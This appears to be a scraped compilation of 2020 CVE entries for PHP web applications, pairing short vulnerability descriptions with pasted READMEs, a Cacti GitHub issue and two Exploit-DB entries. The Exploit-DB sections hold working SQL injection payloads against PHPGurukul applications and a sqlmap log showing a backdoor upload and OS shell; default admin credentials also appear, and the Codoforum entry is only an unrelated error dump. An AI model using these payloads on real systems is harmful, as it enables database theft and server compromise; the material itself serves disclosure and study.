The htdocs/index.php?mainmenu=home login page in Dolibarr 10.0.6 allows an unlimited rate of failed authentication attempts.

CVE-2020-7995

Adive Framework 2.0.8 has admin/config CSRF to change the Administrator password.

**adive-php7**

Adive Framework for PHP7 www.adive.es

**Adive Framework 2.0.9**

Adive is a PHP 7 Framework to develope webs and online apps 10 times faster with a dashboard that manages MySQL databases, a fast, easy and great alternative to PhpMyAdmin.

This version includes a developer toolkit to generate tables, fields and entities, control forms and databases, Adive is an ambitious project from Schben, which aims to turn the "coding" in "design".

**DevToolkit login**

The path to DevToolkit is in admin/dashboard.

Default login details for ADMIN privileges are: admin:admin

Default User/Client privileges access are: user:user

**Changelog 2.0.9**

*   Bugfix: Security Site-Hash implemented to prevent outsite attacks.

**Changelog 2.0.8**

*   Bugfix: Image replacement and timestamp inclusion in temporal name.

**Changelog 2.0.7**

*   Added new security requeriments.
*   Added new field type: Passwords.

**Changelog 2.0.6**

*   Fixed bug with image post input.

**Changelog 2.0.5**

*   Fixed security bug.
*   Added new functionality with visible/invisible fields in forms.
*   Adive.time property added for parallel workflow inclusion.

**Changelog 2.0.4**

*   Fixed icon design in navigation menu.
*   Added icon to breadcrumb in insert/update view.

**Changelog 2.0.3**

*   Fixed error in upload images for C:/Fakepath.
*   Added user access management.
*   Added "Code generated" in Tables for copy/paste in Controller or HTML.

CVE-2020-7991: adive-php7/README.md at master · schspain/adive-php7

A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier. An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

CVE-2020-7246

Cacti 1.2.8 has stored XSS in data_sources.php, color_templates_item.php, graphs.php, graph_items.php, lib/api_automation.php, user_admin.php, and user_group_admin.php, as demonstrated by the description parameter in data_sources.php (a raw string from the database that is displayed by $header to trigger the XSS).

**Comments**

 0xfatty changed the title Data source Data source input validation error leads to Stored XSS within Description

Jan 15, 2020

 0xfatty changed the title Data source input validation error leads to Stored XSS within Description Device Description input validation error leads to Stored XSS in data\_sources.php

Jan 15, 2020

 0xfatty changed the title Device Description input validation error leads to Stored XSS in data\_sources.php Vulnerability report: Device Description input validation error leads to Stored XSS in data\_sources.php

Jan 15, 2020

 cigamit changed the title Vulnerability report: Device Description input validation error leads to Stored XSS in data\_sources.php Vulnerability report: Lack of escaping on some pages can lead to XSS exposure

Jan 16, 2020

cigamit added a commit that referenced this issue

Jan 16, 2020

\* Vulnerability report: Lack of escaping on some pages can lead
to XSS exposure
\* Also cleaning up additional copyrights
\* Make the way filter headers are escaped consistent

cigamit added a commit that referenced this issue

Jan 17, 2020

cigamit added a commit that referenced this issue

Jan 19, 2020

One additional lack of proper exscaping of stored database value.

0xfatty pushed a commit to 0xfatty/cacti that referenced this issue

Jan 23, 2020

0xfatty pushed a commit to 0xfatty/cacti that referenced this issue

Jan 23, 2020

netniV pushed a commit that referenced this issue

Jan 23, 2020

 netniV changed the title Vulnerability report: Lack of escaping on some pages can lead to XSS exposure Lack of escaping on some pages can lead to XSS exposure (CVE-2020-7106)

Feb 10, 2020

TheWitness added a commit that referenced this issue

Apr 16, 2020

Security: required more fixing like #3191((CVE-2020-7106))

CVE-2020-7106: Lack of escaping on some pages can lead to XSS exposure (CVE-2020-7106) · Issue #3191 · Cacti/cacti

PHPGurukul Car Rental Project v1.0 allows Remote Code Execution via an executable file in an upload of a new profile image.

CVE-2020-5509

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to XSS, as demonstrated by the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName parameter in add-product.php.

**Dairy Farm Shop Management System Using PHP and MySQL**

  

**Project Name**               :  Dairy Farm Shop Management System Project (DFSMS)

**Language Used                   :**  PHP

**Database                              :**  MySQL

**User Interface Design       :**  HTML, AJAX,JQUERY,JAVASCRIPT

**Web Browser                       :**  Mozilla, Google Chrome, IE8, OPERA

**Software                               :**  XAMPP / Wamp / Mamp/ Lamp (anyone)

DFSMS is a web-based application which manages the products of dairy shop. It has one module i.e. admin who manages all the functions of the dairy shop.

**Admin Features :**

**Dashboard:** In this section, admin can see all detail in brief like Total listed categories, companies, products and also see the sales.

**Category:** In this section, admin can add new categories and edit, delete old categories.

**Company:** In this section, admin can add new companies and edit, delete old companies.

**Product:** In this section, admin can add new products and edit old products.

**Search:** In this section, admin can search for a product then add the product into the cart and generate invoice /receipt.

**Invoices:** In this section, admin can view all generated invoices/receipts.

**Reports**: In this section, admin can generate two reports, one is B/w date and another one is for sales.

Admin can also update his profile, change the password and recover the password.

**Some Project Screenshots**

**Login Page**

**Login Page**

**Admin Dashboard**

**Admin Dashboard**

**Add Product Page**

**Add Product Page**

**Invoice Page**

**Invoice**

**How to run the Dairy Farm Shop Management System Project (DFSMS)**

1\. Download the zip file

2\. Extract the file and copy dfsms folder

3.Paste inside root directory(for xampp xampp/htdocs, for wamp wamp/www, for lamp var/www/html)

4\. Open PHPMyAdmin (http://localhost/phpmyadmin)

5\. Create a database with name dfsms

6\. Import dfsms.sql file(given inside the zip package in SQL file folder)

7.Run the script http://localhost/dfsms

**Admin Credential**

**Username:** admin  
**Password:** Test@123

**View Demo——————————————**

Download Full Source Code (DFSMS)

Size: 9.84 MB

Version: V 1.1

Anuj Kumar

Hi! I am Anuj Kumar, a professional web developer with 5+ years of experience in this sector. I found PHPGurukul in September 2015. My keen interest in technology and sharing knowledge with others became the main reason for starting PHPGurukul. My basic aim is to offer all web development tutorials like PHP, PDO, jQuery, PHP oops, MySQL, etc. Apart from the tutorials, we also offer you PHP Projects, and we have around 100+ PHP Projects for you.

CVE-2020-5308: Dairy Farm Shop Management System Project, Dairy Farm Shop Management System in Php

PHPGurukul Hostel Management System v2.0 allows SQL injection via the id parameter in the full-profile.php file.

**Hostel Management System 2.0 - 'id' SQL Injection**

**Platform:****PHP**

**Date:****2020-01-06**

  

    # Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
    # Google Dork: intitle: "Hostel management system"
    # Date: 2020-01-03
    # Exploit Author: FULLSHADE
    # Vendor Homepage: https://phpgurukul.com
    # Software Link: https://phpgurukul.com/hostel-management-system/
    # Version: v2.0
    # Tested on: Windows
    # CVE : N/A
    
    Description:
    
    The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
    SQL injection via the 'id' parameter on the full-profile.php page.
    
    ==================== 1. SQLi ====================
    
    http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1
    
    THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
    user has the full ability to run system commands via --os-shell and fully compromise the system
    
    GET parameter 'id' is vulnerable.
    
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
        Payload: id=-3444' OR 1650=1650#
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: id=1' OR SLEEP(5)-- slKU
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 29 columns
        Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a416371494752765744487a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    
    [14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
    [14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
    [14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
    os-shell> whoami
    do you want to retrieve the command standard output? [Y/n/a] y
    command standard output: 'john-pc\john'
    os-shell>

CVE-2020-5510: OffSec’s Exploit Database Archive

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.

    # Exploit Title: Dairy Farm Shop Management System 1.0 - 'username' SQL Injection
    # Google Dork: N/A
    # Date: 2020-01-03
    # Exploit Author: Chris Inzinga
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
    # Version: v1.0
    # Tested on: Windows
    # CVE: N/A
    
    # The Dairy Farm Shop Management System 1.0 web application is vulnerable to 
    # SQL injection in multiple areas. The most severe of these is the username 
    # parameter on the login page as this injection can be done unauthenticated.
    
    
    ================================ 'username' - SQLi ================================
    
    POST /dfsms/index.php HTTP/1.1
    Host: 192.168.0.33
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.33/dfsms/index.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 34
    Connection: close
    Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
    Upgrade-Insecure-Requests: 1
    
    username=test&password=test&login=
    
    ---
    Parameter: username (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: username=test' AND (SELECT 5667 FROM (SELECT(SLEEP(5)))mKGL) AND 'UlkV'='UlkV&password=test&login=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'category' & 'categorycode' - SQLi ================================
    
    POST /dfsms/add-category.php HTTP/1.1
    Host: 192.168.0.33
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.33/dfsms/add-category.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 39
    Connection: close
    Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
    Upgrade-Insecure-Requests: 1
    
    category=test&categorycode=test&submit=
    
    ---
    Parameter: category (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=test' AND (SELECT 8892 FROM (SELECT(SLEEP(5)))WzFH) AND 'NELe'='NELe&categorycode=test&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    ---
    Parameter: categorycode (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=test&categorycode=test' AND (SELECT 9140 FROM (SELECT(SLEEP(5)))bzQA) AND 'izaK'='izaK&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'companyname' - SQLi ================================
    
    ---
    Parameter: companyname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: companyname=test' AND (SELECT 7565 FROM (SELECT(SLEEP(5)))znna) AND 'bEUm'='bEUm&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'productname' & 'productprice' - SQLi ================================
    
    ---
    Parameter: productname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=Milk&company=Amul&productname=test' AND (SELECT 1171 FROM (SELECT(SLEEP(5)))rlQI) AND 'RgaN'='RgaN&productprice=test&submit=
    ---
    ---
    Parameter: productprice (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=Milk&company=Amul&productname=test&productprice=test' AND (SELECT 8940 FROM (SELECT(SLEEP(5)))BRuk) AND 'Imqh'='Imqh&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'fromdate' & 'todate' - SQLi ================================
    
    ---
    Parameter: todate (POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
        Payload: fromdate=2020-01-05&todate=-6737' OR 3099=3099#&submit=
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: fromdate=2020-01-05&todate=2020-01-31' OR (SELECT 3665 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(3665=3665,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mqby&submit=
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: fromdate=2020-01-05&todate=2020-01-31' AND (SELECT 5717 FROM (SELECT(SLEEP(5)))adaE)-- cLAK&submit=
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 5 columns
        Payload: fromdate=2020-01-05&todate=2020-01-31' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162766271,0x666369456150614b454a4f51454e6e687449724a786445585455515a67614162754545716d476f6f,0x716a7a7171),NULL#&submit=
    
    Parameter: fromdate (POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: fromdate=2020-01-05' AND (SELECT 7128 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(7128=7128,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tzxh&todate=2020-01-31&submit=
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: fromdate=2020-01-05' AND (SELECT 7446 FROM (SELECT(SLEEP(5)))Aklw)-- uzkF&todate=2020-01-31&submit=
    ---
    
    
    
    ================================ 'mobilenumber' & 'emailid' & 'adminname' - SQLi ================================
    
    ---
    Parameter: emailid (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin&username=admin&emailid=admin@test.com' AND (SELECT 5884 FROM (SELECT(SLEEP(5)))EgFJ) AND 'kFGt'='kFGt&mobilenumber=1234567899&update=
    ---
    ---
    Parameter: adminname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin' AND (SELECT 5969 FROM (SELECT(SLEEP(5)))vpfG) AND 'kOJS'='kOJS&username=admin&emailid=admin@test.com&mobilenumber=1234567899&update=
    ---
    ---
    Parameter: mobilenumber (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin&username=admin&emailid=admin@test.com&mobilenumber=1234567899' AND (SELECT 1163 FROM (SELECT(SLEEP(5)))rdwj) AND 'mnwu'='mnwu&update=
    ---

CVE-2020-5307: OffSec’s Exploit Database Archive

Codoforum 4.8.3 allows XSS via a post using parameters display name, title name, or content.

  
**Notice**: Trying to access array offset on value of type bool in **/home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/Controller/forum.php** on line **199**

**Fatal error**: Uncaught PDOException: SQLSTATE\[42000\]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'AND t.topic\_status <> 0 AND ( EXISTS (SELECT 1 FROM codo\_permissions AS per...' at line 3 in /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php:214 Stack trace: #0 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php(214): PDO->query('SELECT COUNT(t....') #1 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/Controller/forum.php(200): CODOF\\Forum\\Category->get\_total\_num\_topics(NULL) #2 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/routes.php(483): Controller\\forum->category('news-and-announ...', 1) #3 \[internal function\]: {closure}('news-and-announ...') #4 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Router/ in **/home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php** on line **214**

CVE-2020-5306

The Postie plugin 1.9.40 for WordPress allows XSS, as demonstrated by a certain payload with jaVasCript:/* at the beginning and a crafted SVG element.

Tag

#php